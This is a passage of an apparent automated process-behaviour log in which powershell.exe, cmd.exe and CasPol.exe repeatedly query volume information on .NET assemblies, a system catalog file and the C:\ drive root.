Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation
